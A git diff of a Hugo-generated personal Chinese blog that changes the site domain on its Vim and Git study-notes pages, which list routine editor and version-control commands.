class=post-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能</p><p>vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）</p><p>启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式</p><p>普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）</p><p>正常模式：Esc或Ctrl+[进入
 插入模式：按i键进入（a和o都可以）
 命令行模式：在正常模式下按:进入
 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入
@@ -96,8 +96,8 @@
 j：光标下移
 k：光标上移
 l：光标右移</p><p>^或者0：移动到行首（命令行模式）
-$：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数</p><p>移动光标也可以搭配数字来进行组合，例如：</p><p>3+h：光标左移3个字符</p><p>vim hallo.js</p><p>在vim界面新建文件</p><p>:open hallo.js</p><p>在vim界面打开一个新窗口新建文件</p><p>:split file</p><p>切换到上一个文件</p><p>:bp</p><p>切换到下一个文件</p><p>:bn</p><p>查看vim文件列表</p><p>:args</p><p>打开远程文件</p><p>:e \hallo abc.txt</p><p>/text：按n健查找下一个，按N健查找上一个</p><p>?text：按n健查找上一个，按N健查找下一个</p><p>:wq：保存并且退出，加!表示强制</p><p>:q!：强制退出并且放弃所有更改</p><p>:e!：放弃修改，并且重新打开文件</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vim/>Vim</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/5/><span class=title>« Prev</span><br><span>IndexedDB浏览器数据库学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/2/><span class=title>Next »</span><br><span>简单了解SEO</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+$：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数</p><p>移动光标也可以搭配数字来进行组合，例如：</p><p>3+h：光标左移3个字符</p><p>vim hallo.js</p><p>在vim界面新建文件</p><p>:open hallo.js</p><p>在vim界面打开一个新窗口新建文件</p><p>:split file</p><p>切换到上一个文件</p><p>:bp</p><p>切换到下一个文件</p><p>:bn</p><p>查看vim文件列表</p><p>:args</p><p>打开远程文件</p><p>:e \hallo abc.txt</p><p>/text：按n健查找下一个，按N健查找上一个</p><p>?text：按n健查找上一个，按N健查找下一个</p><p>:wq：保存并且退出，加!表示强制</p><p>:q!：强制退出并且放弃所有更改</p><p>:e!：放弃修改，并且重新打开文件</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vim/>Vim</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/5/><span class=title>« Prev</span><br><span>IndexedDB浏览器数据库学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/2/><span class=title>Next »</span><br><span>简单了解SEO</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/30/index.html b/posts/30/index.html
index 011324a4..fc7f8c2e 100644
--- a/posts/30/index.html
+++ b/posts/30/index.html
@@ -17,8 +17,8 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上&ndash;pretty=oneline 查看commit id（版本号）
-git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/30/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Git版本管理系统学习笔记"><meta property="og:description" content="git安装
+git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/30/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Git版本管理系统学习笔记"><meta property="og:description" content="git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -37,7 +37,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上&ndash;pretty=oneline 查看commit id（版本号）
-git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/30/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:51:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:51:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Git版本管理系统学习笔记"><meta name=twitter:description content="git安装
+git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/30/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:51:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:51:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Git版本管理系统学习笔记"><meta name=twitter:description content="git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
 Linux
@@ -56,7 +56,7 @@
 git status #返回仓库的当前状态
 git diff 文件名 #查看当前文件的内容
 git log #查看历史记录，加上&ndash;pretty=oneline 查看commit id（版本号）
-git reset &ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Git版本管理系统学习笔记","item":"https://xiaochenabc123.github.io/posts/30/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Git版本管理系统学习笔记","name":"Git版本管理系统学习笔记","description":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config \u0026ndash;global user.name \u0026ldquo;chenjunlin\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo; # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上\u0026ndash;pretty=oneline 查看commit id（版本号）\ngit reset \u0026ndash;hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本","keywords":["Git"],"articleBody":"git安装\nWindows和mac\n到git官网下载对应的安装文件，进行安装，下一步\nLinux\nsudo apt install git-all 或者 sudo dnf install git-all\n也可以用源代码编译（Git是开源的，是Linux之父的作品） https://github.com/git/git/releases\n方便git管理，记录每一个修改了Git仓库的人，设置用户名和邮箱\ngit config –global user.name “chenjunlin” git config –global user.email “a@xiaochenabc123.test.com”\nssh-keygen -t rsa -C “a@xiaochenabc123.test.com” # 生成ssh密钥\nmkdir learngit #创建一个空目录\ncd learngit # cd到目录\npwd #显示当前目录路径\ngit init #将当前的目录变成git管理仓库\nls -ah #将所有目录（包括隐藏目录）显示出来\ngit add 文件名 #将文件添加到仓库中\ngit commit -m 说明 #告诉git这次添加到仓库的说明，可以是任意内容\ngit status #返回仓库的当前状态\ngit diff 文件名 #查看当前文件的内容\ngit log #查看历史记录，加上–pretty=oneline 查看commit id（版本号）\ngit reset –hard HEAD^ #回退上一个版本，上上一个版本就是HEAD^^，以此类推，或者使用HEAD~ 就是要回退多少个版本\ngit reset –hard commit id #回到“未来”的版本，版本号可以不用写全，git会自动搜索，过版本号长度要尽量的长，防止可能出现搜索到多个版本的情况\ngit reflog #查看命令历史，也被用于找回commit id\ngit reflog show和git log -g –abbrev-commit –pretty=oneline效果是一样的\ngit add 实际上是把要提交文件存在暂存区，git commi 是一次性把暂存区的文件提交到分支，每一次git commi都要小心！！！\ngit checkout – 文件名 #把该文件从工作区的修改全部撤销掉（修改后还没有git add放在暂存区或者已经提交到暂存区后又修改了使用这个就回到提交到暂存区后的状态）\ngit reset HEAD 文件名 #将暂存区的修改撤销掉，重新放回工作区\ngit rm 文件名 #把该文件从版本库中删除\nssh-keygen -t rsa -C “邮箱” #创建SSH Key,在用户主目录，查看.ssh目录，再查看该目录 有没有id_rsa和id_rsa.pub文件，没有就执行该命令，id_rsa是私钥，id_rsa.pub是公钥，在github的Key文本框添加上id_rsa.pub文字的内容\ngit remote add origin git@github.com: github的账户名/仓库名.git #关联github仓库\ngit push -u 远程仓库名 本地分支名 # 把本地分支推送到远程库上 -u是第一次添加要使用，本地的分支和远程的分支关联起来，关联了后，第2次推送就不用加了\ngit remote add 远程库名 远程库的git链接#本地和远程库关联起来\ngit clone git@git库地址 #克隆远程库到本地\ngit checkout -b 分支名 #创建dev分支并切换到该分支，也可以使用下面方法\ngit branch 分支名 #创建分支\ngit checkout 分支名 #切换到该分支\ngit branch #查看当前分支，会输出全部分支，在当前分支前加*\ngit checkout 分支名 #切换回指定分支\ngit merge 分支名 #可以把指定分支合并到当前分支\ngit branch -d 分支名 #删除该分支\ngit status #查看冲突的文件\n«««\u003c和=======和»»»\u003e表示不同分支的内容，修改冲突就是把不同分支提交的内容修改为一样的\n一般都是先克隆主分支上的最新文件，然后在最新文件上进行操作，然后提交，避免分支冲突\ngit log #查看分支的合并图，可以在后面加上–graph\n合并分支时，git可能会使用fast forward模式，在这种模式下删除分支会丢掉分支信息，在合并时候使用git merge –no-ff 分支名 表示禁用fast forward，可以加上-m参数，把commit说明加上，使用fast forward模式是看不出来做出过合并的\ngit stash #把还没有提交的工作现场存起来，可以重新恢复工作现场\ngit stash list #查看已经存起来的工作现场\ngit stash apply #恢复工作现场，但是不会删除stash的内容，需要使用git stash drop来删除\ngit stash pop #恢复工作现场并删除stash的内容\ngit stash apply stash@{指定} #可以指定恢复的stash\ngit branch -D 分支名#强制删除分支，在没有被合并的情况时\ngit remote #查看关联的远程库信息，或者加-v 查看更详细的信息，没有推送权限就没有push地址\ngit push 远程库名 分支名 #把该分支推送到远程库对应的分支上\ngit checkout -b 分支名 远程库名/分支名 #默认只有主分支，要使用其他分支上工作就使用这个\ngit branch –set-upstream-to=远程库名/分支名 分支名 #指定本地分支与远程分支的链接\ngit pull #把最新的提交抓下来\ngit rebase #把本地未push的分叉提交历史衍合成基线，使用该命令会导致本地的分叉提交被修改\ngit tag 标签名 #给对应的分支打上标签，git tag查看所有标签\ngit tag -a 标签名 -m “说明” 版本号\ngit tag 标签名 版本号 #标签链接版本号\ngit show 标签名 #查看标签信息\ngit tag -d 标签名 #删除指定的标签\ngit push 远程库名 标签名 #推送该标签到远程库上，或者–tags 一次性推送全部没有推送到远程库的本地标签\n删除远程库的标签先删除本地标签，然后使用 git push 远程库名：refs/tags/标签名\ngit remote rm 远程库名 #删除已有的远程库\ngit stash # 暂存修改，将改变暂时存起来\ngit stash list #查看在 stash 中的缓存 然后恢复工作现场\n合并冲突\n合并冲突是因为不同的分支，修改了同一份文件，而git不知道以谁为准，因此提示合并冲突，只需要修改这个冲突文件，修改为某个分支的修改，执行git status查看冲突的文件，再合并就好了\ngit status #查看冲突的文件\ngit log #查看分支的合并图\ngit log –graph –pretty=oneline –abbrev-commit #简化信息\n修改冲突的文件的内容，改成一样的\ngit merge –abort # 退出合并，当合并冲突发生时，但是有不想修改冲突，而是想取消合并时，指向该命令，git会尝试恢复到执行合并前的状态\n版本冲突\n版本冲突就是当前版本不是最新的，git不知道以哪个版本为准，因此提示版本冲突，只需要git pull获取最新版本，就可以避免这个问题，如果已经发生版本冲突了，那么执行git status查看冲突文件，不管是分支冲突还是版本冲突，其修改都不会丢失，而是保存在这个冲突文件中，只需要手动修改成自己想要的就好了，一般来说上面是本地的，下面是最新的\n版本控制\n获取git仓库\n将本地目录转换为git仓库（初始化仓库）\n克隆已存在的git仓库到本地\ngit的三种状态\n已修改，已暂存，已提交\ngit正常的工作流程：\n工作区修改文件 -\u003e 要提交的文件暂存 -\u003e 提交更新（永久性存储到git仓库）\n工作区 -\u003e 暂存区 -\u003e git仓库\n初始化仓库\ngit init // 初始化当前目录为git仓库，初始化会创建.git的隐藏目录，.git目录包含初始的必要文件\n工作区中的文件的4种状态\n未追踪（untracked）：没有被git管理的文件，git之前的提交中没有该文件\n未修改（unmodified）：工作区内容和git仓库中文件的内容保持一致\n已修改（modified）：工作区内容和git仓库中文件的内容不一致\n已暂存（staged）：工作区已被修改文件被放到暂存区，准备提交到git仓库中\n检查文件的状态\ngit status\n以精简的方式显示文件状态\n未跟踪文件前面会有??标记\n已跟踪文件前面会有A标记\ngit status -s\ngit status –short\n跟踪新文件或者将已跟踪，已修改的文件存放在暂存区，将有冲突的文件标记为已解决冲突\ngit add 文件名或者目录名\n暂存多个文件\ngit add .\n提交更新（将暂存区提交到git仓库）\ngit commit -m 本次提交的描述\n撤销对文件的修改（恢复到git仓库中的版本）\ngit checkout – 要撤销的文件名\n取消已暂存的文件（移除在暂存区的指定文件）\ngit reset HEAD 要移除的文件名\n跳过暂存区\n工作区 -\u003e git仓库\n会将全部已经被跟踪的文件暂存起来一并提交\ngit commit -a -m 本次提交的描述\n移除文件\ngit仓库和工作区移除文件\ngit rm -r 要移除的文件名\ngit仓库移除文件，工作区保留\ngit rm –cached 要移除的文件名\n忽略文件\n将一些文件不纳入git管理\n.gitignore配置文件\n以*开头的表示忽略，例如：*.java，表示忽略所有.java文件\n以#开头是注释\n以/结尾的是目录，忽略任何目录下的指定的文件夹，例如：hallo/\n以/开头的是防止递归，只忽略当前目录的指定文件，例如：/hallo.java\n以!开头的是表示取反，哪怕忽略了java，就是匹配所有指定的文件，例如：!hallo.java\n使用glob模式进行匹配（glob是简化的正则表达式）\nglob模式\n*匹配0个或者多个\n[abc]匹配任何一个在括号里的字符\n?只匹配一个任意字符\n[0-9]：匹配所有0到9的数字\na/**/c：可以匹配任意中间目录，例如a/b/c\n例如：\nhallo/*.java // 忽略hallo目录下的全部java文件\nhallo/**/*.java // 忽略hallo目录以及全部子目录下的全部java文件\n查看提交历史\n按时间来排序全部提交历史，最近的提交在上面\ngit log\n只查看最新的指定条数的提交历史\ngit log 6\n在一行上查看指定条数的提交历史\ngit log 6 –pretty=oneline\n在一行上查看指定条数的提交历史，并且按照输出格式来输出\ngit log –pretty=oneline: “%h | %an | %ar | %s”\n%h为提交的简写哈希值\n%an为作者名字\n%ar为作者修订日期\n%s为提交说明\n回退指定版本\ngit reset –hard 版本id\n旧版本返回新版本（获取新版本的id）\ngit reflog –pretty=oneline\ngithub\n远程仓库访问：https和ssh\nhttps：必须要输入账号和密码\nssh：需要配置，配置成功，不需要输入账号和密码\n将本地仓库上传到远程仓库\n本地有仓库：\n本地仓库和远程仓库进行关联 git remote add origin 远程仓库地址\n推送本地仓库内容 git push -u origin master\n如果本地没有仓库，先建立仓库，再关联，推送\ngit init -\u003e git add -\u003e git commit\n如果已经关联过，推送过，可以直接git push推送\nssh key\n生成ssh key\nssh-keygen -t rsa -b 4096 -C “a@xiaochenabc123.test.com”\n如果是windows，会在C:\\Users\\用户名文件夹.ssh下\nid_rsa：私钥\nid_rsa.pub：公钥\n私钥可以通过计算推出公钥，公钥推不出私钥，因此密钥安全性很高，通过配置公钥到github中，本地的私钥可以确保，是本人在提交推送\n检测是否配置ssh key成功\nssh -T git@github.com\nhttps远程仓库\nhttps://github.com/xxx/xxx.git\nssh远程仓库\ngit@github.com:xxx/xxx.git\n简单来说就是公钥设置在github\ngit clone 远程库\n再修改文件\ngit add . // 提交文件到暂存区\ngit commit -m “xxx” // 提交更新\ngit push -u -f origin master // 推送到远程仓库，-f是强制推送（团队仓库别使用-f，个人无所谓）\n注意：git对文件名大小写默认不敏感，因此修改hallo.py和Hallo.py是不认为被修改，在提交时没有记录，如果想开启大小写敏感可以找到项目的.git文件夹（隐藏文件，需显示）,找到config文件，修改ignorecase为false，或者直接用git config core.ignorecase false命令一键修改\ngit回滚\ngit reset HEAD^ // 回到add暂存区时（未commit）\ngit reset –hard HEAD^ // 回滚到上个版本，HEAD是当前版本的指向\ngit reset –hard commitId // 回到指定版本，commitId使用git log查看（commit那一行的id）\n注意：reset回退会删除之前版本的（例如原版本在第3次修改，回到第2版本，会将第3版本的修改删除（这个删除不是指实质删除，而是工作区的代码回到之前的版本了，在第2版本上，没第3版本了））\n如果这是某个修改有错误，要回退时，但是又想保留之前版本的工作时就可以使用git revert -n commitId\n这种需求常见于多人协同开发，当别人已经push提交，如果再使用reset回退的话，就会影响到别人的提交，因为版本冲突了，revert实质上就是恢复到某个版本，但是之前的版本不会被删除，而且是在当前最新版本的基础上创建了一个新的版本，当然在git上没有是绝对的删除，只要有commitId在就可以恢复\n在git2.23版本中添加了git switch命令，该命令专门用来切换分支，功能和git checkout一致\ngit switch 分支名 // 切换到指定分支\ngit switch -c 分支名 // 创建该分支并且切换到该分支，和git checkout -b功能一致\n解决分支无法合并\n导致原因：不同的分支都有自己的新提交，git不知道以谁的为准\n解决方法：手动解决，通过git status命令查看冲突的文件\ngit commit –amend // 对最近提交的message进行修改\ngit rebase -i commit的id // 修改指定提交的message，这里应该使用reword或者r，退出该文件后，git会弹出修改commit描述的文件\ngit rebase -i中有6种命令，分别是pick，reword，edit，squash，fixup，exec\npick：提交，可通过排序来变更提交的顺序，如果不想要该次直接删除整行\nreword：和pick类似，但是它可以给你修改commit的message的机会\nedit：提供机会来修改提交\nsquash：将多个或者两个提交合并成一个提交，压缩到其上方的提交，并且给机会来编写这次提交的message\nfixup：和squash类似，不过合并的过程中，被合并的提交的message将丢失，压缩到其上方的提交，但是只保留较早的提交的message\nexec：对提交执行shell命令\n解决分支冲突的其他解决方案（本地分支与远程仓库分支合并，本地分支作为指定远程仓库分支的未来分支提交）\n将远程分支拉取至本地 git fetch 远程仓库地址 分支名\n查看远程分支 git branch -r\n查看全部分支 git branch -a\n将远程仓库分支与本地当前分支合并 git merge 远程仓库地址/分支名\n将远程仓库分支的修改与本地当前分支合并（rebase可以将其他分支的提交作为当前分支的时间线的开头，也就是当前分支作为新的未来提交分支了） git rebase 远程仓库地址/分支名\nGPG签名（通过签名来确定提交者身份，git默认的用户及邮箱可以伪造，不安全）\n查看git是否包含GPG命令（windows要在Git Bash 运行）\ngpg –version\n创建GPG keys\ngpg –full-generate-key\n第一个是选择加密算法，选择1就好，然后就是选择key的长度（选择4096），再然后就是选择密令的有效期（根据自己选择来，不想过期就选择0），然后名称，邮箱，最后选择o设置私钥密码就创建完成\n查看生成的公钥\ngpg –list-keys\n查看私钥\ngpg –list-secret-keys\n关联GPG公钥到Github\ngpg –armor –export 密钥ID\n对commit签名\ngit config –global user.signingkey 密钥ID\n开启git自动签名（也可以在git commit的时候使用-s参数）\ngit config –global commit.gpgsign true\n查看git仓库签名信息\ngit log –show-signature\n解决github网页签名问题\n导入github签名\ncurl https://github.com/web-flow.gpg | gpg –import\n信任签名并且用自己的密钥进行签名验证\ngpg –sign-key github的key\n","wordCount":"679","inLanguage":"en","datePublished":"2021-06-16T14:51:00Z","dateModified":"2021-06-16T14:51:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/30/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Git版本管理系统学习笔记</h1><div class=post-meta><span title='2021-06-16 14:51:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a 